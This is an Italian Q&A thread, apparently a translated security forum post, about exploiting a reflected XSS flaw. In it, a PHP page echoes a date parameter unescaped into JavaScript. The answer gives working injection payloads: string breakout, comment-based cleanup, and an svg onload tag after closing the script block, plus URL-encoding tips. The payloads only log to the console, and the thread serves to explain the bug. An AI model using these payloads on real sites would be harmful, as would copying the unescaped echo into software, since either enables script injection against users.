imposta una nuova riga o taglia l'URL

1

C'è un'opzione per impostare l'intervallo di date attraverso la barra degli indirizzi URL come questa

domain.tld/process/date_range:2017-04-13%7C2017-05-02

Il parametro GET è analizzato in PHP come questo

    ...
<?php if(isset($dateTo)): ?>
    endDate: moment("<?php echo $dateTo; ?>", "YYYY-MM-DD"),
<?php else : ?>
    ...

e questo viene ripetuto direttamente in javascript

<script>
$(document).ready(function() {

    $('#r').daterangepicker({
        startDate: moment("2017-04-01", "YYYY-MM-DD"),
        endDate: moment("2017-05-1", "YYYY-MM-DD"),
        ...

quindi sto cercando di modificare il parametro GET aggiungendo

")%7D);console.log(1234);});

quindi sono in grado di ottenere

<script>
$(document).ready(function() {
    $('#r').daterangepicker({
        startDate: moment("2017-04-13", "YYYY-MM-DD"),
        endDate: moment("2017-05-02")});console.log(1234);});", "YYYY-MM-DD"),
        ...

ma linea

endDate: moment("2017-05-02")});console.log(1234);});", "YYYY-MM-DD"),

genera un errore di sintassi e quindi console.log (1234) non viene interpretato.

Come posso farlo funzionare?

il suo progetto interno

    
posta xrep 08.05.2017 - 02:00
fonte

1 risposta

2

Il codice ha almeno una parentesi di chiusura troppo. Devi commentare correttamente la spazzatura alla fine (con // o /* ):

        endDate: moment("2017-05-02")});console.log(1234);});", "YYYY-MM-DD"),
                                                             |---------------|

Ma nel tuo esempio, il payload XSS più semplice sarebbe semplicemente:

",console.log(1234),"

Invece di aggiungere un'istruzione extra, questo inietta console.log come espressione.

Se non vuoi fare confusione con la sintassi di Javascript (e le parentesi angolari sono consentite), puoi anche solo chiudere il blocco di script e aprire un nuovo tag, in questo modo:

</script><svg/onload=console.log(1234)>

Funziona perché l'errore di sintassi che stai producendo nello script precedente non impedisce l'esecuzione di altri script indipendenti sul sito.

(Le barre possono essere codificate come %2f e caratteri newline come %0a o %0d%0a , rispettivamente.)

    
risposta data 08.05.2017 - 02:40
fonte

Leggi altre domande sui tag